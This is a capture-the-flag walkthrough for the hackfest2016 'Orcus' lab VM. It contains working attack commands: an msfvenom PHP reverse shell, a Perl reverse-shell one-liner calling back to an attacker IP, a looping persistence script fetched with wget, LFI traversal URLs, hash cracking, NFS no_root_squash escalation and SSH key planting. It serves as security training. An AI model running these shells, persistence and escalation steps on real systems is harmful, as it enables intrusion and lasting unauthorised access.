hackfest2016 : Orcus
15 Apr 2019 | WalkthroughsHostname: orcus
IP Address: 10.183.0.220
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.220.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/hackfest2016/orcus# nmap -Pn -sT -sV -A -p 1-65535 -oA orcus 10.183.0.220
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-16 11:24 EDT
Nmap scan report for Orcus.homenet.dom (10.183.0.220)
Host is up (0.0033s latency).
Not shown: 65519 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3a:48:6e:8e:3f:32:26:f8:b6:a1:c6:b1:70:73:37:75 (RSA)
| 256 04:55:e6:48:50:d6:93:d7:12:80:a0:68:bc:97:fa:33 (ECDSA)
|_ 256 c9:a9:c9:0d:df:7c:fc:a7:da:87:ef:d3:38:c3:f2:a6 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 30 disallowed entries (15 shown)
| /exponent.js.php /exponent.js2.php /exponent.php
| /exponent_bootstrap.php /exponent_constants.php /exponent_php_setup.php
| /exponent_version.php /getswversion.php /login.php /overrides.php
| /popup.php /selector.php /site_rss.php /source_selector.php
|_/thumb.php
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: CAPA PIPELINING UIDL AUTH-RESP-CODE SASL RESP-CODES STLS TOP
|_ssl-date: TLS randomness does not represent time
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 46869/udp mountd
| 100005 1,2,3 52432/tcp mountd
| 100021 1,3,4 42413/tcp nlockmgr
| 100021 1,3,4 48272/udp nlockmgr
| 100227 2,3 2049/tcp nfs_acl
|_ 100227 2,3 2049/udp nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: STARTTLS more OK Pre-login IDLE have LOGINDISABLEDA0001 listed LITERAL+ ENABLE post-login capabilities ID IMAP4rev1 LOGIN-REFERRALS SASL-IR
|_ssl-date: TLS randomness does not represent time
443/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3a:48:6e:8e:3f:32:26:f8:b6:a1:c6:b1:70:73:37:75 (RSA)
| 256 04:55:e6:48:50:d6:93:d7:12:80:a0:68:bc:97:fa:33 (ECDSA)
|_ 256 c9:a9:c9:0d:df:7c:fc:a7:da:87:ef:d3:38:c3:f2:a6 (ED25519)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
993/tcp open ssl/imaps?
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3s?
|_ssl-date: TLS randomness does not represent time
2049/tcp open nfs_acl 2-3 (RPC #100227)
42413/tcp open nlockmgr 1-4 (RPC #100021)
44598/tcp open mountd 1-3 (RPC #100005)
46296/tcp open mountd 1-3 (RPC #100005)
52432/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:96:F8:7B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: ORCUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: 0s
|_nbstat: NetBIOS name: ORCUS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: orcus
| NetBIOS computer name: ORCUS\x00
| Domain name: homenet.dom
| FQDN: orcus.homenet.dom
|_ System time: 2019-04-16T11:25:14-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-04-16 11:25:14
|_ start_date: N/A
TRACEROUTE
HOP RTT ADDRESS
1 3.33 ms Orcus.homenet.dom (10.183.0.220)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 249.71 seconds
Gaining Access
Ran nikto against the HTTP service on TCP port 80.
root@kali:~/Walkthroughs/hackfest2016/orcus# nikto -h http://10.183.0.220
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.183.0.220
+ Target Hostname: 10.183.0.220
+ Target Port: 80
+ Start Time: 2019-04-16 11:57:51 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME t
ype
+ Cookie PHPSESSID created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/exponent.js.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/exponent.js2.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/exponent.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/exponent_bootstrap.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/exponent_constants.php' in robots.txt returned a non-forbidden or redirect HTTP code (500)
+ Entry '/exponent_php_setup.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/exponent_version.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/getswversion.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/login.php' in robots.txt returned a non-forbidden or redirect HTTP code (302)
+ Entry '/overrides.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/selector.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/site_rss.php' in robots.txt returned a non-forbidden or redirect HTTP code (302)
+ Entry '/source_selector.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/thumb.php' in robots.txt returned a non-forbidden or redirect HTTP code (302)
+ Entry '/ABOUT.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/CHANGELOG.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/CREDITS.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALLATION.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/README.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/RELEASE.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/TODO.md' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /files/: Directory indexing found.
+ Entry '/files/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /tmp/: Directory indexing found.
+ Entry '/tmp/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 30 entries which should be manually viewed.
+ Server may leak inodes via ETags, header found with file /, inode: 65, size: 53ff6086e56aa, mtime: gzip
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Multiple index files found: /index.html, /index.php
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-2870: /index.php?download=/etc/passwd: Snif 1.2.4 allows any file to be retrieved from the web server.
+ OSVDB-59085: /index.php?|=../../../../../../../../../etc/passwd: Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem.
+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)
+ OSVDB-59085: /index.php?l=forum/view.php&topic=../../../../../../../../../etc/passwd: Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem.
+ OSVDB-8193: /index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc/&view=passwd: EW FileManager for PostNuke allows arbitrary file retrieval.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /files/: This might be interesting...
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3092: /tmp/: This might be interesting...
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ /phpmyadmin/: phpMyAdmin directory found
+ 9718 requests: 0 error(s) and 48 item(s) reported on remote host
+ End Time: 2019-04-16 11:59:17 (GMT-4) (86 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Checked several of the paths returned from nikto with 200 responses. From the following URLs (among others), I can tell the server is using the Exponent Content Management System (version 2.3.9).
The exploit database reports a Blind SQL Injection vulnerability for this version of Exponent CMS.
Exponent CMS 2.3.9 - Blind SQL Injection | exploits/php/webapps/40412.txt
This would be great, but browsing to /index.php reveals the database for Exponent is "Off-line". You can't do SQL injection on a database that isn't available. 😞
The /external path is listable and contains many applications, several of which have known vulnerabilities. Unfortunately, many aren't set up or at least aren't clearly accessible (since Exponent isn't really running).
I use wget to mirror the /external directory so I can search for .php files that might return content. While that started downloading, I took note of the 'adminer' directory.
The 'admin.php' file only returns a page saying I need to be logged in to Exponent. The 'adminer-4.2.5-mysql.php', however, gives me a login page to manage the backend database.
Nikto also reported the server has phpMyAdmin available at /phpmyadmin.
Except for these login interfaces to manage the database, most of what nikto reported seems to be a dead end. Let's run dirb to see if there are any other sites hosted on the server that might provide a way in.
dirb http://10.183.0.220 /usr/share/dirb/wordlists/big.txt -o dirb-http-10.183.0.220.txt
Stepping through each directory found by dirb...
The /admin directory doesn't return anything; however, the /backups directory is listable and has a couple of files.
Backups are notorious for containing sensitive information from files in locations that typically wouldn't be accessible remotely. Let's see what we've got.
Unfortunately, access to the 'ssh-creds.bak' file is "Forbidden". That would be too easy.
However, downloading and browsing through the 'SimplePHPQuiz-Backupz.tar.gz' archive, we've found some database credentials.
root@kali:~/Walkthroughs/hackfest2016/orcus# wget "http://10.183.0.220/backups/SimplePHPQuiz-Backupz.tar.gz"
root@kali:~/Walkthroughs/hackfest2016/orcus# tar zxf SimplePHPQuiz-Backupz.tar.gz
root@kali:~/Walkthroughs/hackfest2016/orcus# cd SimplePHPQuiz/
root@kali:~/Walkthroughs/hackfest2016/orcus/SimplePHPQuiz# grep -ri 'password' * | cut -d ':' -f 1 | sort -u
css/bootstrap.css.map
includes/db_conn.php
root@kali:~/Walkthroughs/hackfest2016/orcus/SimplePHPQuiz# cat includes/db_conn.php
<?php
//Set the database access information as constants
DEFINE ('DB_USER', 'dbuser');
DEFINE ('DB_PASSWORD', 'dbpassword');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'quizdb');
@ $dbc = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if (mysqli_connect_error()){
echo "Could not connect to MySql. Please try again";
exit();
}
?>
Now that we have some database credentials, let's go try them on the phpMyAdmin login page.
They worked! :]
Looks like we are running phpMyAdmin version 4.5.4.1deb2ubuntu2. Let's check the exploit database for known vulnerabilities. Surprisingly, nothing for version 4.5.
Browsing to the 'mysql/user' table, we see that our 'dbuser' account has all the permissions we'll ever need, so no need to try to brute force any of the other accounts.
Let's see if we can use/abuse phpMyAdmin to upload some PHP code that will allow us to execute arbitrary commands on the server. We'll assume the server is hosting files out of the default '/var/www/html' directory. We select first database in the list (Adem) and go to the SQL tab to run our sql command. We are going to try to create a 'cmd.php' file in the root of /var/www/html that has PHP code that takes a query string parameter called 'cmd' and executes it on the server.
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/cmd.php"
After hitting Go, we get an error. Looks like the MySQL server has been properly configured to only allow files to be written to a well defined location.
I run the following command to see what the secure location is.
SHOW VARIABLES LIKE "secure_file_priv";
Well, so much for that. It is doubtful the web server can access any files written to '/var/lib/mysql-files'. Moving on...
Most of the other databases seem to be empty. The only one that has content is 'zencart'.
The 'admin' table in the zencart database has a user named 'admin' with a current password hash and a previous password hash. Let's try to crack the hashes with john.
I create a file with the two hashes.
root@kali:~/Walkthroughs/hackfest2016/orcus# cat zencart-admin
admin:$2y$10$W7Leeizto5Pc9tXCVlEgFOlcbjHeaOPoUsRqwl4xmTzhrKR52vDf.
admin_old:$2y$10$P7YrX.VgZXRkFI/990aQnencu8IxU5B2l/O6Zqo.xVU832f4Ykesm
I use john to crack them.
root@kali:~/Walkthroughs/hackfest2016/orcus# john --single zencart-admin
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
admin123 (admin)
1g 0:00:05:33 DONE (2019-04-16 13:28) 0.002999g/s 37.77p/s 37.78c/s 37.78C/s old1900..oadmin1900
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Looks like the current password was cracked (using the most basic cracking method --single), but not the previous one. I tried to SSH to the host using 'root:admin123' and 'admin:admin123'. Neither worked, but it was worth a shot. The server also doesn't seem to have a /zencart directory, so maybe this is just a red herring. We'll see if this password can be used somewhere else later.
Now, back to stepping through the found directories...
Accessing /zenphoto redirects us to a "Zenphoto Setup" page. The setup page shows an error with the database configuration.
Before messing too much with this, I check the exploit database to see if Zenphoto is a typically vulnerable piece of software and...
root@kali:~/Walkthroughs/hackfest2016/orcus# searchsploit zenphoto
------------------------------------------------------------------------------------------------------------- ------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------- ------------------------------------
ZenPhoto - 'admin-news-articles.php' Cross-Site Scripting | exploits/php/webapps/37903.txt
ZenPhoto - 'index.php' SQL Injection | exploits/php/webapps/38326.txt
ZenPhoto - Config Update / Command Execution | exploits/php/webapps/15114.php
ZenPhoto - SQL Injection | exploits/php/webapps/39062.txt
ZenPhoto 0.9/1.0 - 'i.php?a' Cross-Site Scripting | exploits/php/webapps/27795.txt
ZenPhoto 0.9/1.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/27796.txt
ZenPhoto 1.1.3 - 'rss.php?albumnr' SQL Injection | exploits/php/webapps/4823.pl
ZenPhoto 1.2.5 - Completely Blind SQL Injection | exploits/php/webapps/9154.js
ZenPhoto 1.3 - '/zp-core/admin.php' Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/34611.txt
ZenPhoto 1.3 - '/zp-core/full-image.php?a' SQL Injection | exploits/php/webapps/34610.txt
ZenPhoto 1.4.0.3 - '_zp_themeroot' Multiple Cross-Site Scripting Vulnerabilities | exploits/php/webapps/35648.txt
ZenPhoto 1.4.0.3 - x-forwarded-for HTTP Header Persistent Cross-Site Scripting | exploits/php/webapps/17200.txt
ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution | exploits/php/webapps/18083.php
ZenPhoto 1.4.10 - Local File Inclusion | exploits/php/webapps/38841.txt
ZenPhoto 1.4.11 - Remote File Inclusion | exploits/php/webapps/39571.txt
ZenPhoto 1.4.3.3 - Multiple Vulnerabilities | exploits/php/webapps/22524.txt
ZenPhoto 1.4.8 - Multiple Vulnerabilities | exploits/php/webapps/37602.txt
ZenPhoto CMS 1.3 - Multiple Cross-Site Request Forgery Vulnerabilities | exploits/php/webapps/14359.html
ZenPhoto Gallery 1.2.5 - Admin Password Reset (Cross-Site Request Forgery) | exploits/php/webapps/9166.txt
------------------------------------------------------------------------------------------------------------- ------------------------------------
Shellcodes: No Result
YES! Yes, it is. 🙂
Since we know we have valid database credentials (that are fully privileged), we decide we should get Zenphoto up and running.
We enter our database credentials and click Save.
When the page refreshes, it looks like everything is green and good to Go... so we click Go...
The next step appears to be setting my "admin user and password"...
After agreeing to the terms and conditions, of course...
I fill out my admin details and click Apply
Time to login...
Once logged in, I go to the Overview tab and see what version of Zenphoto we are running.
Great, the exploit database has a known issue with our version.
ZenPhoto 1.4.10 - Local File Inclusion | exploits/php/webapps/38841.txt
Using the proof-of-concept (PoC) code in the exploit database TXT file, I'm not actually able to get the LFI vulnerability to work. I try (which comes directly from the PoC)...
http://10.183.0.220/zenphoto/zp-core/pluginDoc.php?thirdparty=1&extension=../../../xampp/phpinfo
As well as...
http://10.183.0.220/zenphoto/zp-core/pluginDoc.php?thirdparty=1&extension=../../../../../../../etc/passwd
Both error out. I decided to try to download the Zenphoto source code to see what the pluginDoc.php page was doing and how to get the LFI working. After jumping through hoops on the Zenphoto website, I finally found where I could download previous versions from their GitHub repo.
Looking at the source code for pluginDoc.php, the extension parameter is captured, "sanitized" and then a path is built using the parameter + '.php'. So, we have to target .php files to get the LFI vulnerability to work.
[snip]
$extension = sanitize($_GET['extension']);
$thirdparty = isset($_GET['thirdparty']);
if ($thirdparty) {
$pluginToBeDocPath = SERVERPATH . '/' . USER_PLUGIN_FOLDER . '/' . $extension . '.php';
} else {
$pluginToBeDocPath = SERVERPATH . '/' . ZENFOLDER . '/' . PLUGIN_FOLDER . '/' . $extension . '.php';
}
That might be useful, but let's see what else Zenphoto can do for us.
Checking out the Plugins tab in Zenphoto reveals lots of goodies. Of special note is the "Uploader" tab. That sounds like what we need.
It looks like the two uploaders that are already enabled are only for images. The elFinder plugin looks to be more robust and even has some known issues (according to the exploit database), so let's enable that one.
root@kali:~/Walkthroughs/hackfest2016/orcus# searchsploit elFinder
------------------------------------------------------------------------------------------------------------- ------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------------------- ------------------------------------
elFinder 2 - Remote Command Execution (via File Creation) | exploits/php/webapps/36925.py
elFinder 2.1.47 - 'PHP connector' Command Injection | exploits/php/webapps/46481.py
elFinder PHP Connector < 2.1.48 - 'exiftran' Command Injection (Metasploit) | exploits/php/remote/46539.rb
------------------------------------------------------------------------------------------------------------- ------------------------------------
Shellcodes: No Result
We can access our newly enabled Uploader plugin from the Upload tab.
It looks like the default location elFinder uses is /zenphoto/uploaded...
...which we have directory listing available for.
Let's build our PHP reverse shell with msfvenom and upload it.
root@kali:~/Walkthroughs/hackfest2016/orcus# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=5432 -f raw > rev.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3035 bytes
Now that the reverse shell is on the server and accessible, we need to start our Metasploit listener. I'm actually going to start two listeners. One for the PHP reverse shell, and one for the Perl reverse shell I'll create as soon as the PHP shell session starts. I'm doing this because the PHP reverse shell will quickly timeout and I want a more stable connection.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.183.0.222:5433
I use curl to start the PHP reverse shell session...
root@kali:~/Walkthroughs/hackfest2016/orcus# curl http://10.183.0.220/zenphoto/uploaded/rev.php
Worked! I connect to the session and start my perl reverse shell.
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5432 -> 10.183.0.220:59382) at 2019-04-16 16:06:45 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/var/www/html/zenphoto/uploaded
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
[*] Command shell session 2 opened (10.183.0.222:5433 -> 10.183.0.220:57200) at 2019-04-16 16:07:13 -0400
Maintaining Access
Since SSH is open on the victim, I checked to see if the www-data user has a default home directory and shell defined.
www-data@Orcus:/var/www/html/zenphoto/uploaded$ grep `whoami` /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
The home directory exists, but only allows writes by root.
drwxr-xr-x 4 root root 4096 Oct 22 2016 www
The default shell is set to '/usr/sbin/nologin', so I won't be able to SSH to the box with this account.
I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes.
root@kali:~/Walkthroughs/hackfest2016/orcus# cat thumb
#!/bin/sh
while true; do
perl -e 'use Socket;$i="10.183.0.222";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# sleep for 300 seconds (5 mins)
sleep 300
done
I uploaded the script to the victim's /var/www/html/zenphoto/cache directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.
www-data@Orcus:/var/www/html/zenphoto/cache$ wget -O thumb 10.183.0.222:4321/thumb
<l/zenphoto/cache$ wget -O thumb 10.183.0.222:4321/thumb
--2019-04-16 16:26:34-- http://10.183.0.222:4321/thumb
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 307 [application/octet-stream]
Saving to: 'thumb'
thumb 100%[===================>] 307 --.-KB/s in 0s
2019-04-16 16:26:34 (59.0 MB/s) - 'thumb' saved [307/307]
www-data@Orcus:/var/www/html/zenphoto/cache$ chmod +x thumb
chmod +x thumb
www-data@Orcus:/var/www/html/zenphoto/cache$ ./thumb &
./thumb &
[1] 21552
Privilege Escalation
Several of the services we detected in the initial scanning were related to NFS. We can see remotely that the server has an NFS export for /tmp that allows anyone to connect.
root@kali:~/Walkthroughs/hackfest2016/orcus# showmount -e 10.183.0.220
Export list for 10.183.0.220:
/tmp *
Now that we have a local shell, we can also see that root squashing is not enabled for the share.
www-data@Orcus:/etc$ cat /etc/exports
cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp *(rw,no_root_squash)
This means we can mount the share on our attacker machine and use our root access there to create suid files on the victim and easily gain root access.
We start by copying /bin/bash to the /tmp directory on the victim.
www-data@Orcus:/etc$ cd /tmp
www-data@Orcus:/tmp$ which bash
/bin/bash
www-data@Orcus:/tmp$ cp /bin/bash .
Now, on our attacking machine we mount the /tmp directory locally.
root@kali:~/Walkthroughs/hackfest2016/orcus# mkdir tmp
root@kali:~/Walkthroughs/hackfest2016/orcus# mount -t nfs 10.183.0.220:/tmp tmp
Now all we have to do is move to the tmp directory, change the owner of the bash file we copied and set the "sticky" bit to allow normal users to execute it as root.
root@kali:~/Walkthroughs/hackfest2016/orcus# cd tmp
root@kali:~/Walkthroughs/hackfest2016/orcus/tmp# chown root bash
root@kali:~/Walkthroughs/hackfest2016/orcus/tmp# chmod u+s bash
root@kali:~/Walkthroughs/hackfest2016/orcus/tmp# ll
total 1.1M
-rwsr-xr-x 1 root www-data 1.1M Apr 16 17:38 bash
Back on the victim...
www-data@Orcus:/tmp$ ./bash -p
bash-4.3# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
Why does this work? What does '-p' mean? From the bash man page.
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no
startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables,
if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at in‐
vocation, the startup behavior is the same, but the effective user id is not reset.
As you can see from the output of the 'id' command, the effective user id (euid) is 0 (root).
Now we get the flag from /root.
bash-4.3# cd /root
bash-4.3# cat flag.txt
cat flag.txt
807307b49314f822985d0410de7d8bfe
To do some more digging, we will also add our ssh key to the /root/.ssh/authorized_keys file so we can get a nice shell.
bash-4.3# cd .ssh
bash-4.3# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVjc6rm8+ORrWgwf/6RjxhodRe2yTTih+gyI0apQOW1XJs3jzoQahnXMORD+nkBRd9Cg5xyT0LTCBDI/+qNbXb4V1jAKIiZiA6+ZQsXQYqf8aA6S6ElaaAehUWqlUzoixFWPBsGKOdGclhIlgS4nndho8fVK3fy260hy4/T/oM//fO+RkAjkPVDh42UU2S98QKR2meCtj8YDOi9t3Wm4PsEutaiYPi4sjtTNvaJ7Y2VRNy3jPqcs0bCDAhK5poNFxAS7FaL+/Kb/zsP5gF9WuvtGRzWJp7q+lOPYcfhN9cAKlxMKMxC/bGLuyGf2IOGc2VGekmwf6AOr86B6zMm6pT root@kali" >> authorized_keys
Once we SSH in, we could also edit root's crontab to further "maintain access"... but we aren't planning to spend too much longer on this.
Before we SSH in, though, it should be noted that we found SSH services listening on both TCP port 22 and TCP port 443. In the /etc/passwd file we see a user named 'kippo'. Googling kippo, we find "Kippo is a medium-interaction SSH honeypot written in Python."
bash-4.3# cat /etc/passwd
[...]
kippo:x:1001:27::/home/kippo:/bin/bash
[...]
Also, in the /etc directory we see a folder for 'kippo'. Checking the config file, we see that it is set up to listen on port 22. Incidentally, we also see a "flag" in the file.
bash-4.3# cd /etc/kippo
bash-4.3# cat kippo.cfg
cat kippo.cfg
#
# Kippo configuration file (kippo.cfg)
#
[honeypot]
# IP addresses to listen for incoming SSH connections.
#
# (default: 0.0.0.0) = any address
#ssh_addr = 0.0.0.0
# Port to listen for incoming SSH connections.
# user:1:TH!SP4SSW0RDIS4Fl4G!
# (default: 2222)
ssh_port = 22
[...]
Checking the running processes (ps -aux) and open ports (lsof -i -Pn), it doesn't appear that kippo is actually running, but we'll be on the safe side and SSH using TCP port 443.
root@kali:~/Walkthroughs/hackfest2016/orcus# ssh -p 443 -i orcus root@10.183.0.220
Pivoting
N/A
Clean Up
*** REMOVE /var/www/html/zenphoto/uploaded/rev.php ***
*** STOP /var/www/html/zenphoto/cache/thumb ***
*** REMOVE /var/www/html/zenphoto/cache/thumb ***
*** REMOVE /tmp/bash ***
*** REMOVE ssh key from /root/.ssh/authorized_keys ***
*** REMOVE /tmp/rev.php ***
Additional Info
Flags
The first flag can be found in /var/www.
www-data@Orcus:/var/www$ cat flag.txt
cat flag.txt
868c889965b7ada547fae81f922e45c4
Using the Zenphoto LFI vulnerability
Because of the accessible NFS share, we could use the Zenphoto LFI vulnerability to retrieve our PHP reverse shell from /tmp. That would involve mounting /tmp on our attacking machine, copying over our PHP reverse shell (created earlier with msfvenom) and then using the following curl command to access it.
curl 'http://10.183.0.220/zenphoto/zp-core/pluginDoc.php?thirdparty=1&extension=../../../../../../../tmp/rev'
ssh-creds.bak
In revisiting the 'ssh-creds.bak' file in the /var/www/html/backups directory, we find that it is just junk. The username/password combo doesn't work. Just another red herring.
root@Orcus:/var/www/html/backups# cat ssh-creds.bak
root:123456
phpmyadmin.conf
We found a username and password in the phpmyadmin.conf file in /etc/dbconfig-common. We tried the credentials on the /phpmyadmin site and they worked. Unfortunately, as seen in a screenshot above, the phpmyadmin user doesn't actually have any db privs.
root@Orcus:/etc/dbconfig-common# cat phpmyadmin.conf
[...]
# dbc_dbuser: database user
# the name of the user who we will use to connect to the database.
dbc_dbuser='phpmyadmin'
# dbc_dbpass: database user password
# the password to use with the above username when connecting
# to a database, if one is required
dbc_dbpass='sX6yATfXjVyf'
[...]
Adem
The db.php file in /var/www/html/Adem contains more credentials. We tried the credentials on the /phpmyadmin site and they did NOT work.
root@Orcus:/var/www/html/Adem# cat db.php
<?php
/**
* @package Adem
* @version 0.2
* @since 0.1
* @category connect DB
* @author Fares AlBelady
*/
// ضع اسم قاعدة البيانات
// SET YOUR DB NAME
define("DB_NAME","Adem");
// ضع اسم المستخدم لقاعدة البيانات
// SET YOUR DB USER
define("DB_USER","root");
// ضغ كلمة المرور لقاعدة البيانات
// SET YOUR DB PASSWORD
define("DB_PASS","");
// ضع مستضيف قاعدة البيانات ، في العادة يكون بقيمة ( localhost ) إذا حدث خطأ راسل مستضيفك ليعطيك الاسم الخاص به .
// SET YOUR DB HOST , default is be ( localhost )
define("DB_HOST","localhost");
[...]
Additionally, the adem.sql file defines a default password for settings.
root@Orcus:/var/www/html/Adem# cat adem.sql
[...]
